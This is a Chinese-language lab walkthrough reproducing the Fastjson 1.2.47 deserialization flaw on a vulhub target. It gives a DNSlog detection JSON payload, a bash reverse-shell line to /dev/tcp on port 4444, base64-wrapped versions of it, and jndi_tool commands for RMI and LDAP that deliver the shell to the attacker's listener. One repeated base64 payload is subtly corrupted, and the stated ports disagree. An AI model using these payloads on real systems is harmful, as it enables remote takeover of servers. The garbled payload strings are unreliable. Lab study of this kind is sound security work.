FastJson漏洞复现

环境：vulhub/fastjson

	Fastjson是阿里巴巴公司开源的一个高性能的Java库，专门用于处理JSON数据格式。
	它不仅能够将Java对象序列化为JSON格式的字符串，还能将JSON字符串反序列化为Java对象。

漏洞发现

出现json格式的地方，就可能使用FastJsson

1.通过报错页面可以识别使用FastJsson

2.再通过DNSlog平台确认存在漏洞

打开DNSlog平台成临时子域名：http://dnslog.cn/

bp抓包，将请求体改为以下内容并发送，发现返回DNS地址

{
"@type":"java.net.Inet4Address",
"val":"qoxjdd.dnslog.cn"
}

FastJs0n-1.2.47（反序列化）

原理：	
	fastjson在解析json的过程中，支持使用autoType来实例化某一个具体的类，并调用该类的set/get方法来访问属性。通过查找代码中相关的方法，即可构造出一些恶意利用链。
	
影响版本：
	Fastjson1.2.48之前

这里直接利用工具jndi_tool（需要jdk8环境）

https://github.com/wyzxxz/jndi_tool

利用一：JNDI注入+RMI

	JNDl（The Java Naming and Directory Interface，Java 命名和目录接口）：一组在 Java 应用中访问命名和目录服务的API，命名服务将名称和对象联系起来，使得可以用名称访问对象。
	RMI：Java远程方法调用，是Java编程语言里，一种用于实现远程过程调用的应用程序编程接口。使客户机上运行的程序可以调用远程服务器上的对象。

反弹shell语句为：

bash -i >& /dev/tcp/8.8.8.8/4444 0>&1
在java中需要对其进行base64编码（大括号内不能有空格）：

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguOC44LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}

使用工具生成payload，并开启9999端口的监听：

java -cp jndi_tool.jar jndi.HRMIServer 攻击机ip 端口"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjIx0S4xNjEu0Dgv0TA5MCAwPiYx}|{base64,-d}|{bash,-i}"

把payload通过bp发送给靶机，注意必须更改为POST请求和Content-Type

攻击机开启端口监听，即可收到shell

利用二：JNDI注入+LDAP

LDAP是轻量级目录访问协议

基本用法不变，只是将jndi.HRMIServer改为jndi.HLDAPServer

java -cp jndi_tool.jar jndi.HLDAPServer 攻击机ip 端口"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjIx0S4xNjEu0Dgv0TA5MCAwPiYx}|{base64,-d}|{bash,-i}"

把payload通过bp发送给靶机，注意必须更改为POST请求和Content-Type

攻击机开启端口监听，即可收到shell

其他利用工具：

[]:https://github.com/mbechler/marshalsec